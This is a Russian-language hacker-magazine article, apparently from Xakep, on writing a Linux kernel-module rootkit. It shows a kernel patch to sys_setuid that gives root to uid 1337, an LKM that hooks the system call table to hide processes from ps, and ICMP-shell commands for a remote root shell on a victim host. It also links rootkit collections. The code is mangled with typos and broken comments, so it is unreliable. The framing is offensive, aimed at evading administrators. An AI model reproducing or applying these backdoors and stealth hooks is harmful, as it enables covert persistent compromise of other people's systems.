Давай рассмотрим команды, которые нам понадобятся для LKM.

gcc -c tooxkit.c -o tooxkit.o

Откомпилировали, теперь подключаем..

- insmod

Загрузить модуль в систему.

rootkit# insmod tooxkit.o

Загрузили ранее откомпиленный модуль...

- lsmod

Данная команда показывает подключенные модули ядра:

rootkit# lsmod

Module Size Used_ by
tooxkit 31337 0
processor 9008 0
.... .... ....

Итак, мы увидели три колонки "Module", "Size" и "Used by" - "Название модуля", "Размер", "Кем используется". Все, в приницпе, ясно. tooxkit - палевный LKM-руткит, запущенный из под root'a (нулевой уид) с размером 31337. 

- rmmod

Данная команда выгружает модули ядра

rootkit# rnmod tooxkit

C подключениями/отключениями/и т.д. модулей ядра мы разобрались. Пока мы с тобой баловались с протрояниванием системных бинарников, я решил рассказть о более продвинутом обмане ОС на уровне ядра. Мы будем перехватывать системные вызовы к различным программам типа
ls, ps, netstat и т.д. - администратору придется изрядно попотеть, чтобы обнаружить вторжение в систему.

Ядерные руткиты работают по принципу:

- подгрузить свой модуль
- перехватить системный вызов пользователя
- не показывать юзеру то, что мы пытаемся скрыть,
в том числе и сам руткитовый модуль

А теперь поясню более популярно. Вот, например, администратор заподозрил что-то неладное, поэтому решил пошарить в системе (нами был установлен процесс "tooxkit", который мы удачно скрыли перехватом).
Мы написали LKM, который перехватывает системные вызовы ко всем важным командам (включая ps). Админ отдал команду ps, но в списке процессов все было чисто - процесс "tooxkit" не был обнаружен.

Простейшую технику перехвата системных вызовов можно прочитать в статье "Weakening the Linux Kernel" - во Phrack'e, номер #54. 

Рутовая лазейка

Чуть выше мы с тобой троянили ps, но процесс оставался
видимым в каталоге /proc. Сейчас я приведу несколько примеров троянизации ядра, которые будут предоставлять нам доступ к командному интерпретатору с
привилегиями root, а также троянизацию некоторых системных утилит путем системных перехватов. Начнем с root-лазейки, которая изменит вызов sys_setuid до setuid(0) пользователю с уидом равным 1337, дав ему
определенные возможности во взломанной системе. Изменения будут происходить в самом ядре - модифицируем sys.c, а именно функцию sys_setuid, которая отвечает за "раздачу
привилегий".

o-// лазейка к root-привелегиям
\\-o
asmlinkage int sys_setuid*uid_t uid)
{
int old_euid = current ->euid;
int old_ruid, old_suid, new_ruid;
old_ruid = new_ruid = currnet ->uid
old_suid = currnet->suid;
/*
Начинаем троянизировать ядро /*
if (current->euid == 1337)
new_ruid = current->euid = current -> suid = current ->fsuid = uid;
/*
Окей... 😉 /*
else if *capavle(CAP_SETUID))
........... и т.д и т.п...........
o-//
лазейка к root-привелегим \\-o

Еще одну лазейку, только LKM мы рассматривали выше.

Процессы

Теперь давай скроем процессы... Скрывать мы будем перехватом системных вызовов - запросы к ps будут передаваться
совершенно левой функции tooxkit'a. Немного полазив в
Интернете в поиске информации о перехвате запросов, я нашел интересный и подходящий код, который выдавал фейк информацию о ps:

o-// перехват запросов к ps
\\-o
Linux Kernel Module
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
/* linux ps fake utility.
*
* if fake ps doesn't work, try below SYS_CALLS
*
* 1. SYS_rt_sigaction
* 2. SYS_rt_sigprocmask
* 3. SYS_clone
*
* the main hook function is fakepid(); this function try to
* hook SYS_call = SYS_waitpid, then programm print some inte
* resting message to the screen 🙂
*
* (c) by stan [unl0ck team] 2004
*/
extern void *sys_call_table[]; /*
указываем на таблицу системных вызовов
/*
int (*origpid)(const char *path); 
int fakepid(const char *path)
{
printk(«No proccess found!»); /*
при обращении к утилите ps, она выводит, что процессов в системе нет как таковых
/*
return 0;
}
int init_module(void) /*
что будем делать при загрузке модуля
/*
{
origpid = sys_call_table[SYS_waitpid];
sys_call_table[SYS_waitpid] = fakepid;
printk(«Module successfully loaded!»);
return(0);
}
void cleanup_module(void) /*
что будем делать при выгрузке модуля /*
{
sys_call_table[SYS_waitpid] = origpid;
printk(«Module successfully unloaded!»);
}
o-//
перехват запросов к ps
\\-o

Прочитав внимательно исходник ты поймешь принцип перехватов. 

Скрыв локально соединение, я чуть не забыл про удаленное... Ведь администратор может просто просканировать свою систему nmap'ом или другим сетевым сканером. Для этого удобнее всего использовать низкоуровневые сокеты - RAW-sockets, например, при
отсылке определенного пакета бэкдор в систему будет открываться, но это я разжевывать не буду, лишь покажу очень удобный пример получения рут-шелла с помощью ICMP-пакетов и программы ICMP-shell:

ICMP-shell manual

Во-первых, программа работает при помощи протокола ICMP (ну естественно), в ICMP-пакеты "втуливаются" наши команды, а серверная часть их обрабатывает и выполняет. Это достаточно удобно, так как ICMP-пакеты почти всегда обрабатываются сервером (конечно, если файрвол не режет все icmp-пакеты):

Как это выглядит на практике:

// Запускаем ICMP-shell на сервере c
привилегиями root, так как он использует RAW-сокеты.

server# ishd -i 31337 -t 8
//
Запустили. идентификатор - 31337, тип ICMP-пакета - 8 (echo). Идентификатор нужен
//
для того, чтобы серверная часть ICMP-шелла распознавала пакеты хакера.

// Теперь запускается клиентская часть:
client# ish -i 31337 -t 8 victim.org
Connecting to victim.org...done.

// Узнаем, "кто мы":
#whoami 
root

Заключение

Я рассказал тебе достаточно много из того, что даст тебе возможность написать свой собственный руткит (естественно, со знаниями
Си). Еще раз скажу - я не хотел повторяться, так как в статье Форба
(журнал "Xakep", номер #069 - статья "Вооружись своим руткитом") и Криса Касперского (журнал "Хакер", номер #077 - статья "Поиграем с туксом в прятки") написано достаточно - обход проблем с файрволом, маскировка твоего соединения при помощи net toolz, скрытие процессов,
встройка бэкдора, стелсирование на уровне ядра. Вот и все
мои дополнения, которыми я хотел с тобой поделиться. Также я
настоятельно не рекомендую писать руткит методом "Copy & Paste", так как это будет "лол-руткит", так что для завершения идеи написания руткита тебе придется хоть немного пошевелить мозгами, разобраться с написанием модулей, а также полистать
дополнительную литературу, которую я привел ниже :). Буду рад, если моя статья кому-то действительно помогла :).

Дополнительная литература

Дополнительная литература про написание руткитов и их обзора:

Выбери свой руткит (обзор *nix-руткитов)
|Автор: Forb| журнал "Xakep", номер #069 http://www.xakep.ru/articles/magazine/2004.asp

Вооружись своим руткитом (написание Linux-руткита)
|Автор: Forb| журнал "Хакер", номер #071 http://www.xakep.ru/articles/magazine/2004.asp

Поиграем с туксом в прятки (стелс-технолгии на уровне ядра в Linux)
|Автор: Крис Касперски| журнал "Хакер", номер #077
http://www.xakep.ru/articles/magazine/2005.asp

Системный маскарад (написание простейшего руткита на perl)
|Автор: Юрий Гольцев| журнал "Хакер", номер #080
http://www.xakep.ru/articles/magazine/2005.asp

Кошмарное ПО (обзор руткитов для windows)
|Автор: Петя и Волк | журнал "Хакер" номер #077
http://www.xakep.ru/articles/magazine/2005.asp

Затроянивание sshd - I и II часть (название говорит само за себя)
|Автор: Satir| Cyber Lords Community http://cyberlords.net/

Attacking OpenBSD with LKM - I и II часть (написание LKM-руткитов под OpenBSD)
|Автор: __blf| Rush Security Team http://rst.void.ru/

Weakening the Linux Kernel (методы стелсирования на уровне ядра, лазейка в ядрах)
|Автор: Solar Disigner| e-zine "Phrack", номер #54 http://phrack.org/
и другие номера phrack'a - самый истинно-хакерский e-zine! 😉

Ссылки по теме:

http://rootkit.com/ - огромная коллекция троянов, руткитов и прочих вкусностей...
http://linux.kernel.org/ - исходные коды ядра Linux'a
http://peter.elukc.com/code/unix/c/icmp-shell/
- программа ICMP-шелл, которую мы упоминали в статье.
http://google.ru/ - без комментариев ;))

P.S: Все информация предоставлена в исключительно ознакомительных целях и является пищей для размышления 😉

Check Also

Intel выпустила августовские патчи и обновила прошивки для NUC

Компания Intel представила августовский набор патчей, в том числе устранив уязвимость в не…

Оставить мнение